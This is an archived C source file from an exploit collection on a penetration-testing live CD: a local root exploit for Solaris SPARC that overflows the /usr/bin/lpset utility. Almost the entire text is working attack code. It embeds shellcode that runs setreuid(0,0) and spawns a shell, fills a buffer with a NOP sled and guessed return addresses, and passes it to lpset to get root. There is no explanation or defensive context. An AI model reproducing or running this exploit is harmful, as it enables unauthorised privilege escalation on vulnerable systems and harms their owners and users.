home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / lpset2-sparc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  59 lines

  1. #include <unistd.h>
  2. #include <stdio.h> 
  3.  
  4. #define BSIZE 18001
  5. #define OFFSET 20112
  6. #define START 700
  7. #define END 1200 
  8.  
  9. #define NOP 0xac15a16e
  10.  
  11. #define EXSTART 116
  12.  
  13. char sparc_shellcode[] =
  14.  
  15. /* setreuid(0,0) */
  16. "\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"
  17.  
  18. /* other stuff */
  19. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  20. "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  21. "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  22. "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
  23.  
  24. u_long get_sp() { asm("mov %sp, %i0"); }
  25.  
  26. main(int argc, char *argv[]) {
  27.         int i,ofs=OFFSET,start=START,end=END;
  28.         u_long ret, *ulp;
  29.         char *buf;
  30.  
  31.         if (argc > 1) ofs=atoi(argv[1])+8;
  32.  
  33.         if (!(buf = (char *) malloc(BSIZE+2))) {
  34.                 fprintf(stderr, "out of memory\n");
  35.                 exit(1);
  36.         }
  37.  
  38.         ret = get_sp() - ofs;
  39.  
  40.         for (ulp = (u_long *)buf,i=0; ulp < (u_long *)&buf[BSIZE]; i+=4,ulp++)
  41.                 *ulp = NOP;
  42.  
  43.         for (i = start, ulp=(u_long *)&buf[start]; i < end; i+=4) *ulp++ = ret;
  44.  
  45.         for (i = 0; i < strlen(sparc_shellcode); i++)
  46.                 buf[EXSTART+i] = sparc_shellcode[i];
  47.  
  48.         buf[5000]='=';
  49.         
  50.         buf[18000]=0;
  51.  
  52.         fprintf(stderr, "ret: 0x%lx xlen: %d ofs: 0x%lx (%d)\n",
  53.                 ret, strlen(buf)-2, ofs, ofs);
  54.         
  55.         execl("/usr/bin/lpset","lpset","-n","xfn","-a",&buf[2],"lpcol1",0);
  56.                 
  57.         perror("execl");
  58. }
  59.